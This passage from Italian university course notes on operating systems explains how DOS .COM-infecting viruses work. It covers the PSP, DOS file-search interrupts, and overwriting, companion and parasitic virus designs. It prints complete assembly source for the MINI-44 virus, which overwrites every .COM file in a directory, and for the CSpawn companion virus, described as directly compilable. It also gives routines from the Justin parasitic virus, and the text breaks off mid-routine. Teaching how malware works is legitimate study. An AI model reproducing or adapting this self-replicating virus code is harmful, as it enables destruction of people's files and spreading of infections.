valido inc word ptr [si+offset nest] ;prossimo++ call near ptr traverse_fcn ;ricorsivo donext: lea dx,word ptr [bp-44] ; Alloca spazio per DTA mov ah,1Ah ;e regola DTA in questa nuova area Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” int 21h mov ah,4Fh int 21h isdirok: jnc gonow cmp word ptr [si+offset nest], 0 jle short cleanup dec word ptr [si+offset nest] lea dx, [si+offset back_dir] mov ah,3Bh int 21h cleanup: mov sp,bp pop bp ret traverse_fcn endp nest dw 0 ;variabili back_dir db '..', dir_mask db '*.*',0 11 ;trova il prossimo ; se OK, esegui gonow ; se è la root ; (prossimo == 0) ;allora lascia ; altrimenti decrementa il prossimo ; '..' ; cambia directory ; alla precedente ; La ricerca della dirctory da infettare può anche avvenire in modo antisequenziale, cioè controllando che essa non sia già stata infettata, se così fosse si passa alla precedente e così via. Il codice diventa: dir_loopy: call lea mov int jnc infect_directory dx, [bp+dotdot] ah, 3bh 21h dir_loopy ; Variables dotdot db ; CHDIR ; Carry set if in root '..',0 3.3 Virus che infettano i file .COM Il virus più semplice da realizzare è un codice che infetta i .COM, in quanto questi file non contengono strutture di dati che il sistema operativo deve interpretare ma solo codice ( diversamente dai .EXE). Esistono tre tipi di “COM infecting viruses”: 1. Overwriting viruses 2. Companion viruses 3. Parasitic viruses Quando dal prompt di DOS viene battuto il nome di un programma, il DOS comincia a cercare file aventi quel nome ed estensione COM e se ne trova uno lo carica nella memoria e lo esegue. Se non li trova dirige la ricerca su file con lo stesso nome ma estensione EXE per caricarlo ed eseguirlo. Infine cerca di trovare ed eseguire i file BAT e se non trova nulla di tutto, manda in uscita un messaggio di errore : “ Bad command or file name”. I COM file sono direttamente eseguibili dalla CPU e hanno un segmento codice predefinito, che è costruito nella struttura del DOS, mentre gli EXE sono designati a manipolare formati di segmento codice definiti dal programmatore, tipicamente programmi complicati e di grandi dimensioni. I COM sono quindi una immagine binaria di ciò che dovrà essere messo in memoria ed eseguito dalla CPU. Per eseguire un COM file, il DOS deve fare dei lavori di preparazione, caricare il programma in memoria e dare a esso il controllo. Fino all’istante in cui il controllo passa al programma, il DOS è il programma in esecuzione e ha la possibilità di manipolare il programma secondo i dati. Questo processo può essere spiegato con un semplice segmento codice, un programma COM che è l’equivalente in assembler di hello.c. .model tiny Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 12 .code ORG 100H HOST: HI mov mov int ah, 9 dx,OFFSET HI 21H ;prepara la visualizzazione de messaggio ;indirizzo del messaggio ;lovisualizza col DOS mov int ax, 4C00H 21H ;prepara la terminazione del progarmma ;e lo termina con il DOS DB 'You have just released a virus! Have a nice day!$' END HOST Questo programma può essere compilato come HOST.COM. e quando si digita dal prompt HOST, il DOS riserva una porzione di memoria nella quale il programma può risiedere e operare. Si ricorda che i programmi .COM sono un lascito dei vecchi sistemi CP/M, cioè sistemi operativi mono directory usati precedentemente ai sistemi a processore 8088 o Z80, più recenti. Per rendere più agevole il passaggio, i sistemi 8088 e MS-DOS furono implementati in modo da supportare i vecchi programmi del CP/M nel modo più semplice possibile e i programmi COM ne furono il risultato. I sistemi a microprocessore 8088 hanno quattro registri di segmento CS,DS,SS,ES cioè Code Segment, Data Segment, Stack Segment e Extra Segment e ognuno svolge funzioni differenti. Il CS specifica il segmento di memoria di 64K in cui c’è l’istruzione del programma corrente eseguita dalla CPU. Il DS contiene i dati del programma e nello Stack segment si trova lo stack. A dimostrazione della loro antica origine, i COM file usano un solo segmento, quindi non sfruttano la segmentazione della memoria che consentirebbe di indirizzare più dei 64Kbytes possibili con un solo registro da 16bit. Infatti prima della loro esecuzione, il DOS setta tutti i registri a un valore solo, cs=ds=es=ss. Tutti i dati sono memorizzati nello stesso segmento così come il codice del programma, e lo stack lo separa. Il COM file può quindi usare qualsiasi segmento e funzionare bene comunque. Il segmento usato dal programma COM deve però essere impostato dal DOS prima che il programma stesso vi venga caricato all’offset 100H. Il DOS inoltre crea nella memoria, a partire dall’offset 0 al 0FFH, il PSP8, descritto in figura (3.1): Offset Size Description 0H 2 Int 20H Instruction 2 2 Address of last allocated segment 4 1 Reserved, should be zero 5 5 Far call to Int 21H vector A 4 Int 22H vector (Terminate program) E 4 Int 23H vector (Ctrl-C handler) 12 4 Int 24H vector (Critical error handler) 16 22 Reserved 2C 2 Segment of DOS environment 2E 34 Reserved 50 3 Int 21H / RETF instruction 53 9 Reserved 5C 16 File Control Block 1 6C 20 File Control Block 2 80 128 Default DTA (command line at startup) 100 - Begining of COM program Fig (3.1) 8 Program Segment Prefix Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 13 Anche il PSP è un lascito del vecchio sistema CP/M, ed era la porzione di memoria in cui il SO situava dati importanti per il sistema stesso. Oggi questo segmento resta per lo più inutilizzato, per esempio contiene il FCB 9 da usare con le funzioni del DOS per aprire, leggere, scrivere,chiudere (0FH, 10H, 14H, 15H) i file, che nessuno usa e sono preferibili le funzioni di aggancio 3DH, 3EH, 3FH, 40H introdotte nel DOS 2.00. Tutta via, anche se obsolete, queste funzioni e altre parti del PSP possono essere utilizzate, per esempio tutto ciò che segue il nome del programma, sulla riga di comando per lanciarlo, viene memorizzata all’inizio del PSP all’offset 80H. Per esempio se eseguiamo HOST con la stringa al prompt: C:\ HOST Hello there! Il PSP diventa: 2750:0000 CD 20 00 9D 00 9A FE-1D F0 4F 03 85 21 8A 03 2750:0010 85 21 17 03 85 21 74 21-01 08 01 00 02 FF FF FF 2750:0020 FF FF FF FF FF FF FF-FF FF FF FF 32 27 4C 01 2750:0030 45 26 14 00 18 00 50 27-FF FF FF FF 00 00 00 00 2750:0040 06 14 00 00 00 00 00 00-00 00 00 00 00 00 00 00 2750:0050 CD 21 CB 00 00 00 00 00-00 00 00 00 00 48 45 4C 2750:0060 4C 4F 20 20 20 20 20 20-00 00 00 00 00 54 48 45 2750:0070 52 45 21 20 20 20 20 20-00 00 00 00 00 00 00 00 2750:0080 0E 20 48 65 6C 6C 6F 20-74 68 65 72 65 21 20 0D 2750:0090 6F 20 74 68 65 72 65 21-20 0D 61 72 64 0D 00 00 2750:00A0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 2750:00B0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 2750:00C0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 2750:00D0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 2750:00E0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 2750:00F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 . ........O..!.. .!...!t!........ ............2'L. E&....P'........ ................ .!...........HEL LO .....THE RE! ........ . Hello there! . o there! .ard... ................ ................ ................ ................ ................ ................ A 80H troviamo il valore 0EH, cioè la lunghezza di “Hello! There!” seguita dalla stessa stringa. In modo simile il PSP contiene anche l’indirizzo dell’ambiente di sistema, che contiene tutte le variabili “set” contenute nell’autoexec.bat, come i, path che il DOS cerca per gli eseguibili, quando viene data una stringa di comando dal prompt. Questo path o nome di percorso è molto importante perché viene utilizzato dal virus per sapere dove trovare programmi molto adatti a essere infettati. L’ultima operazione che il DOS deve fare per eseguire un COM è impostare lo STACK. Tipicamente lo stack è all’estremo superiore del segmento in cui risiede il programma COM, come in figura (3.2). I primi due bytes sono sempre impostati dal DOS in modo che l’istruzione RET termini il COM e ritorni il controllo a sé. Questi bytes sono settati a zero per causare un salto all’offset 0, dove l’istruzione int20H è contenuta nel PSP. Questa istruzione ritorna il controllo al DOS, che setta poi lo stack pointer SP, a FFFE hex, saltando all’offset 100H, causando l’esecuzione del programma COM richiesto. fig(3.2) Memory map prima dell’esecuzione di un file .COM 9 File Control Block Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 14 3.4 Overwriting virus Sono virus piuttosto semplici, ma anche molto individuabili in quanto danneggiano il programma ospite, sostituendogli una parte di codice con il proprio, rendendolo inutilizzabile. La sostituzione avviene per sovra scrittura, da qui il nome overwriting . Per esempio è riportato di seguito il codice del MINI-44 Virus: I ;44 byte virus, distrugge sovrascrivendo tutto I file .COM ;current directory. ; ;(C) 1994 American Eagle Publications, Inc. .model small .code FNAME EQU 9EH ;risultato della search function file name. ORG 100H START: mov ah,4EH mov dx,OFFSET COM_FILE int 21H SEARCH_LP: jc DONE mov ax,3D01H mov dx,FNAME int 21H xchg mov mov mov int mov int mov int jmp DONE: ret ax,bx ah,40H cl,42 dx,100H 21H ah,3EH 21H ah,4FH 21H SEARCH_LP COM_FILE END ;cerca *.COM (search first) ;apri il file trovato ;sovrascrivi il virus ;dimensione del virus ;posizione del virus ;chiudi file ;cerca il prossimo file ;ritorna al DOS DB '*.COM',0 ;stringa per la COM file search START Questo virus occupa 44 byte quando è assemblato, quindi ha dimensioni minime, tuttavia infetta e distrugge tutti i file .COM della direttori in cui viene lanciato. Ciò che esso compie è riassumibile in cinque passi: 1. Viene caricato ed eseguito un file infetto dal DOS 2. Il virus va in esecuzione all’offset 100H nel segmento memoria datogli dal DOS 3. Il virus cerca la directory corrente per trovare file con estensione .COM e nome qualsiasi 4. Per ogni file infettabile, il virus lo apre e sovrascrive i suoi stessi 44 byte partendo dall’inizio del programma 5. Il virus termina e restituisce il controllo al DOS Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 15 Prendiamo in considerazione un PC IBM che lavori sotto DOS. Questo sistema operativo immagazzina tutte le informazioni su ogni file sul disco in due zone : la directory e la FAT 10. La directory contiene un FILE DESCRIPTOR di 32 byte per ogni file ( fig 3.3). Il descrittore contiene il nome del file, l’estensione, la sua dimensione, la data e l’ora di creazione ed eventuali attributi del file, che descrivono informazioni specifiche per il sistema operativo circa il file. Vi possono essere più directory, una principale root directory e altre secondarie subdirectory. La FAT è invece una mappa dell’intero disco, che dice al sistema operativo quale area è occupata da quale file. Sia la FAT che la root directory sono : Fig (3.3) poste in un’area a loro dedicata mentre le subdirectory sono memorizzate come gli altri file ma con l’attributo che segnala al SO che si tratta di un file directory. In tal modo viene trattato diversamente dai file comuni, anche perché il file directory è una semplice sequenza di records da 32 byte. Benché la ricerca concettuale di un file possa essere complicata ( perché il file andrebbe cercato tramite le directory e la lettura del file descriptor), in realtà si affida tutto il lavoro al SO e quindi al DOS. Lo strumento per indicare al SO cosa fare è l’ISR11. Nel nostro caso servirà l’interrupt 21H e ad esempio il codice seguente serve ad aprire in lettura un file che si trova in FNAME. mov xor mov int dx,OFFSET FNAME al,al ;al=0 ah,3DH ;DOS function 3D 21H ;go do it La int21H trasferisce il controllo al DOS e lo lascia lavorare, dopo che il file è stato aperto il controllo torna subito all’istruzione seguente l’interrupt dato. Il registro AH contiene il numero di funzione attraverso il quale il DOS sa cosa gli si sta chiedendo di fare, mentre la coppia DX, DS servono come puntatori alla zona di memoria in cui il nome del file da aprire è conservato. Settando AL a zero il SO sa che deve aprire il file in sola lettura. Per quanto riguarda la ricerca dei file, questa è eseguita da funzioni di ricerca proprie del DOS cioè search first e search next, che furono implementate nell’interrupt 21H. Si tratta di due funzioni piuttosto complicate che richiedono un certo settaggio. Primo si prepara una stringa ASCIIZ in memoria che specifica la directory da cercare e il file. Per esempio 10 11 File Allocation Table Interrupt Service Routine Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 16 DB '\sub\obbiettivo.*',0 Specifica la ricerca del file “obbiettivo” di qualsiasi estensione nella subdirectory “sub” (,0 termina la stringa). Se non specifico un path, ad esempio *.COM cercherò tutti i file di estensione .COM0, con qualsiasi nome e nella directory corrente. La seconda operazione è regolare i registri DS e Dx al punto di segmento e offset della stringa ASCIIZ in memoria. Il registro CL va impostato in base a un attributo del file, che comunica al DOS quali attributi di file comprendere nella ricerca e quali escludere. Infine si chiama la search function con AH = 4E hex. Se la ricerca ha successo la funzione da in ritorno AL =0 e formatta 43 bytes di dati nel DTA 12 che mostrano i risultati della ricerca, quindi il nome, gli attributi, la dimensione e la data di creazione del file trovato, dati che verranno poi usati anche dalla search next. Se la ricerca ha esito negativo si avrà AL non nullo e zero byte nel DTA. Il programma infetto che effettua la chiamata, sa l’indirizzo in cui è posizionato il DTA e lo consulta per avere le informazioni sui file trovati(il DTA è per default settato a 80H nel PSP program segment prefix). Un esempio di ricerca search first, simile a quella effettuata dal MINI-44 è : SRCH_FIRST: mov dx,OFFSET COMFILE mov ah,4EH int 21H jc NOFILE FOUND: COMFILEDB '*.COM',0 ; imposta l’offset della stringa ASCIIZ ;cerca la funzione first ;richiama il DOS ;torna da capo se non trova ;punto di arrivo se il file viene trovato Questo codice cerca tutti I file con estensione COM ,nascosti o file di sistema nella directory corrente. Se la ricerca ha termine in modo positivo il DTA apparirà così: 03 3F 3F 3F 3F 3F 3F 3F-3F 43 4F 4D 06 18 00 00 00 00 00 00 00 00 16 98-30 13 BC 62 00 00 43 4F 4D 4D 41 4E 44 2E 43 4F-4D 00 00 00 00 00 00 00 .????????COM.... ........0..b..CO MMAND.COM....... In questo caso è stato trovato il file COMMAND.COM. La funzione search next sarà più facile da implementare in quanto i dati utili sono già stati resi disponibili dalla search first. Sarà sufficiente avviare la next impostando il registro AH a 4FH. L’esempio di utilizzo : mov ah,4FH int 21H jc NOFILE FOUND2: ;cerca la next function ;chiama il DOS ;torna se non trova ;altrimenti procedi Nel caso del MINI-44 è ugualmente : mov ah,4FH int 21H jmp SEARCH_LP DONE: ;cerca il prossimo file Il MINI-44 utilizza le funzioni del DOS search first e search next singolarmente come descritto prima, impostandole in modo tale da trovare tutti i COM in una directory predefinita, seguendo il seguente schema logico in figura (fig 3.4). La prima operazione cerca un file adatto a essere infettato secondo i criteri di ricerca, che si impostano come detto, nelle istruzioni di preparazione, prima di chiamare la search first. Se la ricerca ha esito positivo, apre in scrittura il file con l’interrupt 21H e sovrascrive il file col suo codice, infettandolo, quindi passa a chiamare la next search per trovare un altro file vittima. Se la ricerca ha esito negativo ritorna al DOS il controllo. 12 Disk Transfer Area Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 17 Fig(3.4) Logica di ricerca del MINI-44 Per replicarsi il MINI-44 apre il programma ospite in scrittura, proprio come un programma può aprire un file ordinario, e vi scrive una copia di se stesso, dopodiché lo chiude. L’apertura avviene mediante il DOS interrupt 21H, che corrisponde a 3D in hex. Il diritto di accesso nel registro AL è impostato a 1 per poter aprire il programma in sola scrittura mentre la coppia DS:DX devono puntare al nome del file, che è già presente nel DTA dalla funzione di ricerca FNAME=9EH. L’apertura nel complesso è eseguita da: mov mov int ax,3D01H dx,OFFSET FNAME 21H Se il DOS apre il file con successo esso ritorna un file d’aggancio (handle) con un numero di 16 bit, posto nel registro AX , che ha il compito di riferire il file appena aperto. Poiché tutte le altre operazioni che verranno eseguite sul file dal DOS richiedono questo riferimento nel registro BX, MINI-44 esegue una mov bx,ax così da spostarlo dove serve. Successivamente il virus copia se stesso nel file usando l’interrupt 21H, vale a dire la funzione 40H e per fare questo la coppia DS:DX deve essere impostata per puntare al codice che deve essere scritto nel file, che nel caso, è il virus stesso, collocato in DS:100H (DS è già stato impostato al valore giusto quando il COM venne caricato dal DOS). A questo punto il virus viene eseguito e tratta se stesso come un qualsiasi dato da scrivere in un file. Per attivare la funzione 40H occorre impostare CL col valore del numero di bytes da scrivere su disco, nel nostro caso 44, DX punta ai dati da scrivere (il virus) e BX contiene il file di ritorno dell’operazione di apertura del file da scrivere. Tutto è impostato con: mov bx,ax mov dx,100H mov cx,44 mov ah,40H int 21H ;metti il file di aggancio in BX ;posizione da cui scrivere ;numero di bytes da scrivere ;esegui Infine il MINI-44 chiude il file con una funzione del DOS, la 3EH che da sempre in BX un file di ritorno. La struttura risultante si riassume con questa tabella in figura (3.5): Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 18 Uninfected Infected Original COM File Code Original COM File Code Original COM File Code Original COM File Code Original COM File Code Original COM File Code Original COM File Code Original COM File Code Original COM File Code Original COM File Code Original COM File Code MINI-44 Virus Code Fig. (3.5) COM file non infettato e infettato Il MINI-44 è un virus sorprendentemente semplice da implementare, tuttavia è ottimo virus, piccolo, compatto, in grado di infettare e distrugge tutti i file .COM, senza scampo e l’unica soluzione post-infezione è di cancellare e sostituire i file danneggiati con nuovi da copie di back-up. Il difetto di questo virus nasce dal fatto che è di tipo overwriting , vale a dire sovrascrive i file infettati creando però danni sicuramente troppo vistosi, per cui è facilmente individuabile. 3.5 Companion virus Questo tipo è il più semplice non-destructive virus che può colpire i sistemi tipo IBM PC, ed è caratterizzato dal fatto che non distrugge i file che infetta, restando più discreto e comunque molto efficace. Esso inganna l’utente rinominando i programmi sul disco con nomi non usuali, e rimpiazza il programma col nome originale con se stesso. In figura n sono presenti due situazioni, prima e dopo un infezione di questo tipo: Name HOST1 HOST5 HOST6 HOST7 Ext Size #Clu COM 210 COM 1984 COM 501 COM 4306 Date Time Attributes 1 4/19/94 9:13p Normal,Archive 1 4/19/94 9:13p Normal,Archive 1 4/19/94 9:13p Normal,Archive 1 4/19/94 9:13p Normal,Archive Fig. (3.6a): Directory HOST.COM non infettato | Name Ext Size #Clu Date Time Attributes | HOST1 COM 180 1 10/31/94 9:54a Hidden,Archive <--+ HOST5 COM 180 1 10/31/94 9:54a Hidden,Archive <--+ HOST1 CON 210 1 4/19/94 9:13p Normal,Archive | HOST6 COM 180 1 10/31/94 9:54a Hidden,Archive <--+ HOST7 COM 180 1 10/31/94 9:54a Hidden,Archive <--+ HOST5 CON 1984 1 4/19/94 9:13p Normal,Archive HOST6 CON 501 1 4/19/94 9:13p Normal,Archive HOST7 CON 4306 1 4/19/94 9:13p Normal,Archive Fig. (3.6b): Directory con HOST1.COM infettato Si nota che il file HOST1.COM, una volta infettato diventa HOST1.CON e il virus vive nel file nascosto HOST1.COM. Se dal prompt del DOS si digita HOST1 parte subito il virus che, terminate le sue operazioni passa il controllo all’ospite HOST1.CON, appena esso è pronto. Quindi il file o il codice del programma ospite non vengono in alcun modo compromessi. Le operazioni fondamentali di un companion virus sono due: prima di tutto deve diffondersi e infettare altri file, deve inoltre essere capace di trasferire il controllo al programma ospite, cioè quello che l’utente pensa di aver lanciato col comanda dal prompt (ma in realtà non ha lanciato solo quello). Vediamo il virus CSpawn come esempio di non-resident companion virus. Prima di tutto CSpawn riduce la memoria che preleva per sé, quindi sposta lo stack. Infatti nei programmi COM lo stack viene sempre impostato in modo da Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 19 essere alla cima del segmento di codice, il che vuol dire che il programma può prendere 64 Kbytes di memoria, anche se è molto più piccolo. Ad esempio CSpawn necessita di qualche centinaio di bytes per lo stack, e lo si sposta quindi appena alla fine del codice cambiando il valore del registro SP: mov SP,OFFSET FINISH + 100H Successivamente CSpawn deve ordinare al DOS di rilasciare la memoria in più attraverso un l’interrupt 21H, funzione 4AH, mettendo un certo numero di blocchi di memoria nel registro BX: mov mov int ah, 4AH bx ,(OFFSET FINISH )/16 +11H 21H Una volta impostata la memoria il virus è libero di eseguire il programma ospite usando l’interrupt 21H del DOS, funzione 4BH EXEC. Per avviare questa chiamata bisogna prima impostare la coppia DS:DX in modo da puntare al nome del file da eseguire, contenuto nel codice virus, nella variabile SPAWN_NAME. La coppia ES:BX deve puntare a certi parametri riportati nella tabella seguente (per dire al DOS dove variabili come la linea di comando sono poste). Il registro AL va messo a zero per segnalare al DOS che deve caricare ed eseguire il programma (altri valori provvedono solo al caricamento): Offset Dimensioni(bytes) Descrizione 0 2 Segmento dell’environment string. Questo è di solito posto all’offset chiamante , benché il programma chiamante l’EXEC può cambiarlo 2CH nel PSP del programma 2 4 Puntatore alla linea di comando (tipicamente posta all’ offset 80H nel PSP del programma chiamante, PSP:80H) 6 4 Puntatore al primo default FCB (tipicamente posto a 5CH nel PSP, PSP:5CH) 10 4 Puntatore al secondo FCB (posto all’offset 6CH nel PSP, PSP:6CH) 14 4 Valori iniziali di ss:sp del programma caricato (sottofunzione1 e, ritornate dal DOS) 18 4 Valori iniziali di CS:IP del programma caricato (sottofunzione1 e, ritornate dal DOS) Riassumendo quanto detto sopra il codice dovrà caricare ed eseguire il programma ospite, senza troppa confusione e ritornando poi il controllo al virus quando ha terminato. Ovviamente, durante l’esecuzione, il programma ospite “schiaccerà” molti dei registri in uso, come lo stack e il registro di segmento, quindi il virus dovrà sistemare l’impostazione di questi prima di fare qualsiasi altra cosa. Il codice usato è il seguente : mov mov mov int dx,OFFSET SPAWN_NAME bx,OFFSET PARAM_BLK ax,4B00H 21H Il sistema di ricerca dei file del companion virus Cspawn nello stesso modo del MINI-44, usando la search first e la search next ,interrupt 21H, le funzioni 4Eh e 4FH. La search routine sarà : SLOOP: mov dx,OFFSET COM_MASK mov ah,4EH xor cx,cx int 21H jc SDONE call INFECT_FILE mov ah,4FH jmp SLOOP ;cerca first ;solo i file normali ;esegui la ricerca ;se non trova nulla,esce ;se ne trova uno ,lo infetta ;cerca la funzione next ;ripeti da capo SDONE: Per funzionare bene però, il CSpawn necessita di una operazione in più. Infatti la funzione di ricerca del DOS utilizzata richiede 43 bytes nel DTA, e quando il DOS esegue un programma, esso imposta il DTA oltre DS:0080H .Il programma ospite viene eseguito prima della search routine del virus e il DOS ha già quindi spostato iol DTA al data segment del programma ospite che, a sua volta, può averlo spostato ovunque. Per questo CSpawn necessita prima della ricerca di reimpostare il DTA, utilizzando la funzione 1AH, impostando DS:DX all’indirizzo in cui si desidera avere il DTA( la posizione di default). Quindi : mov ah,1AH Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” mov int 20 dx,80H 21H Dopo aver individuato un file da colpire l’infezione prevede prima la rinominazione del programma ospite e successivamente fare una copia di sé con il nome dell’ospite di partenza. In questo modo, quando il nome del programma ospite sarà digitato e inviato, il virus verrà eseguito al posto di questo. Per rinominare l’ospite il virus copia il suo nome dal DTA dove la search routine l’ha messo, come risultato delle sue operazioni di ricerca e lo mette in un buffer chiamato SPAWN_NAME. In seguito CSpawn sostituisce l’ultima lettera di questo nome con una “N” e chiama la funzione di rename del DOS, interrupt 21H, funzione 56H. Per poterla usare, però, DS:DX devono puntare al nome originale (nel DTA) e ES:DI deve puntare al nuovo nome (nel buffer SPAWN_NAME) : mov mov mov int dx,9EH di,OFFSET SPAWN_NAME ah,56H 21H ;DTA + 1EH,nome originale Infine il virus crea un file col nome originario del programma ospite: mov mov mov int ah,3CH cx,3 dx,9EH 21H ;funzione del DOS per creare file ;setta a solo in lettura e nascosto gli attributi del file creato ;DTA + 1EH, nome originale …scrive una copia di sé n quel file: mov mov mov int ah,40H cx,FINISH-CSpawn dx,100H 21H ;funzione del DOS per scrivere il file ;dimensioni del virus ;posizione del virus L’impostazione a HIDDEN degli attributi del file creato da Cspawn è molto importante. Infatti rende la disinfezione più difficile in quanto per cancellare i file del virus, servono prima delle utilità come PC tools o NORTON utilities per renderli visibili. Inoltre si evita che il virus infetti se stesso, per esempio se infettasse il file XXYYZZ, ci saranno due file : XXYYZZ.COM il virus e XXYYZZ.CON l’originale. All’avvio del virus la search routine potrebbe puntare lo stesso XXYYZZ.COM infettandosi da solo. L’uso di un XXYYZZ.COM nascosto risolverebbe il problema perché la search routine lo salterebbe nella ricerca. Di seguito è riportato per intero il codice del CSpawn companion virus, compilabile con MASM,TASM o A86e direttamente eseguibile: ;(C) 1994 American Eagle Publications, Inc. All Rights Reserved! .model tiny .code org 0100h CSpawn: mov mov mov mov shr inc int sp, OFFSET FINISH + 100H ah, 4AH bx, sp cl, 4 bx, cl bx 21H ;cambia la cima allo stack ;funzione del DOS di ridimensionamento memoria mov mov mov mov mov mov mov bx, 2CH ;impostazione EXEC ax, [bx] WORD PTR [PARAM_BLK], ax ;environment segment ax, cs WORD PTR [PARAM_BLK+4], ax ;lunghezza della stringa di parametri WORD PTR [PARAM_BLK+8], ax ;lunghezza di FCB1 WORD PTR [PARAM_BLK+12], ax ;lunghezza di FCB2 ;BX=num di paragrafi di memo da prendere Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” mov dx, OFFSET REAL_NAME mov bx,OFFSET PARAM_BLK mov ax,4B00H int 21H ;esecuzione ospite cli mov mov mov mov sti push mov mov bx,ax ;salva qui il codice di ritorno ax,cs ;AX contiene il segmento codice ss,ax ;reimposta prima lo stack sp,(FINISH - CSpawn) + 200H bx ds,ax es,ax ;reimposta il data segment ;reimposta extra segment mov ah,1AH mov dx,80H int 21H call FIND_FILES ;funzione DOS per il settaggio del DTA ;mette il DTA all’offset 80H pop ax mov ah,4CH int 21H ;AL contiene il valore di ritorno ;funzione del DOS terminate ;trova e infetta i file ;Routine di codice che trova iCOM file e li infetta se la ricerca termina positivamente FIND_FILES: mov dx,OFFSET COM_MASK ;cerca i COM file mov ah,4EH ;funzione del DOS find first file xor cx,cx ;CX contiene tutti gli attributi del file FIND_LOOP: int 21H jc FIND_DONE ;esce se non trova un file call INFECT_FILE ;infetta il file mov ah,4FH ;funzione del DOS per trovare il prossimo file jmp FIND_LOOP ;prova a trovare un altro file FIND_DONE: ret ;ritorna al chiamante COM_MASK db '*.COM',0 ;COM file search mask ;questa routine infetta il file specificayo nel DTA. INFECT_FILE: mov si,9EH ;DTA + 1EH mov di,OFFSET REAL_NAME ;DI punta il nuovo nome INF_LOOP: lodsb ;carica un carattere stosb ;e lo salva nel buffer or al,al ;è uguale a NULL? jnz INF_LOOP ;sa sì ,abbandona il loop mov WORD PTR [di-2],'N' ;cambia nome in CON & add 0 mov dx,9EH ;DTA + 1EH mov di,OFFSET REAL_NAME mov ah,56H ;rinomina il file originale int 21H jc INF_EXIT ;if can't rename, already done mov ah,3CH mov cx,2 int 21H ;funzione del DOS per creare un file ;setta l’attributo di file nascosto mov mov ;BX contiene il file handle ;funzione del DOS per scrivere il file bx,ax ah,40H 21 Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” mov cx,FINISH - CSpawn mov dx,OFFSET CSpawn int 21H mov ah,3EH int 21H INF_EXIT: ret REAL_NAME db ;CX contiene la lunghezza del virus ;DX punta al CSpawn del virus ;funzione del DOS per chiudere il file 13 dup (?) ;DOS EXEC function parameter block PARAM_BLK DW ? DD 80H DD 5CH DD 6CH FINISH: end 22 ;nome dell’ospite da eseguire ;environment segment ;lunghezza della command line ;lunghezza della prima FCB ; lunghezza della seconda FCB CSpawn 3.6 Parasistic Virus (JUSTIN) Questo è il terzo e ultimo tipo di virus che infetta i COM file attaccando se stesso al file ospite. Abbiamo visto come i companion virus non distruggono il programma nel quale vivono, ma lasciano tracce della loro presenza come file rinominati o nuovi file, seppur nascosti; inoltre fanno un pesante uso del DOS per provvedere all’esecuzione del programma host . Diversamente i parasistic virus si limitano ad aggiungersi al codice della vittima e l’unico segno per rendersi conto della loro presenza è un piccolo aumento delle dimensioni del programma ospite e una diversa data di modifica relativa a esso. Essi sono molto attenti a non lasciare ulteriori tracce di sé e provvedono a lasciare l’esecuzione del programma ospite assolutamente intatta, cosicché questo possa lavorare correttamente quando il virus gli restituisce il controllo. Esistono due diversi approcci per realizzare un malware di questo tipo, uno è quello di inserire il virus alla fine del codice programma e l’altro all’inizio. Come esempio prendiamo il justin virus ,che rientra nella seconda categoria ,cioè si copia in testa al codice ospite. Il sistema di infezione su un COM file effettuato da justin è mostrato in figura (n): Fig(3.7) Attività del virus Justin su un file .COM Stefano Passi – Università di Pavia – Corso di “Sistemi Operativi” 23 La prima operazione importante che questo virus compie è di controllare se il sistema ha abbastanza memoria per permettergli di venire eseguito in modo opportuno. Quindi legge tutto l’ospite nella memoria e lo copia nello stesso file ma con un offset diverso. In genere un COM file occupa al massimo 64Kbytes, quindi un buffer di tali dimensioni deve essere disponibile nella memoria del computer. Se così non fosse il virus non può partire, e resterà semplicemente in uno stato latente di riposo. La routine di controllo, usata da justin, che verifica la memoria è riportata qui di seguito: call CHECK_MEM jc GOTO_HOST_LOW call JUMP_HIGH call FIND_FILE jc GOTO_HOST_HIGH call INFECT_FILE GOTO_HOST_HIGH: ;la memoria è sufficiente??? ;no, allora passa il controllo all’ospite ;salta sopra il segmento di memoria ;altrimenti trova l’ospite ;no, allora passa il controllo all’ospite ;s’ ,infettalo ;salta all’ospite dal nuovo mem blk GOTO_HOST_LOW: ; salta all’ospite dal mem blk originario E’ interessante vedere come qualsiasi parte di routine, che non finisca con buon esito, termina avviando il programma ospite, come se nulla fosse accaduto. In genere quando un programma COM viene caricato gli viene assegnata tutta la memoria di sistema disponibile per quella applicazione, quindi ogni parte di memoria sopra il PSP che appartiene al DOS, è potenzialmente utilizzabile dal virus. Questo prende l’intero blocco di 64kbytes, che comincia col PSP e si piazza all’offset 100H in questo blocco ed è seguito direttamente dal programma ospite al quale era inizialmente attaccato, quindi alla estremità di questo segmento si trova lo stack del programma COM. Il fine ultimo di tutte queste delicate operazioni, che se non correttamente eseguite possono dare gravi problemi, è che il virus possa utilizzare i 64Kbytes appena sopra di dove esso vive, sempre che questo spazio esista. La routine utilizzata nel codice di controllo per verificare la presenza dei famosi 64 Kbytes è la CHECK_MEM. Essa modifica la memoria allocata a un programma con l’interrupt di DOS 21H, funzione 4AH. Prima mette il numero di paragrafi di memoria desiderati (blocchi da 16Kbytes)nel registro BX, poi chiama la 4AH. Se il procedimento non ha successo il DOS imposta il carry flag e metterà il numero di blocchi al momento disponibili nel BX. Dal momento che abbiamo bisogno di 2*64 Kbytes, l’unica cosa da fare è tentare di allocare questa memoria, quindi : mov ah,4AH mov bx,2000H int 21H ;2000H*16 = 2*64K Se questa funzione ritorna con successo, sarà disponibile abbastanza memoria. Tuttavia la memoria è stata deallocata e il programma ospite può essere disturbato da questa operazione. Quindi justin dovrà riallocare tutta la memoria disponibile per essere il più efficace possibile. La CHECK_MEM di justin sarà : CHECK_MEM: mov ah,4AH mov bx,2000H int 21H pushf mov ah,4AH mov bx,0FFFFH int 21H mov ah,4AH int 21H popf 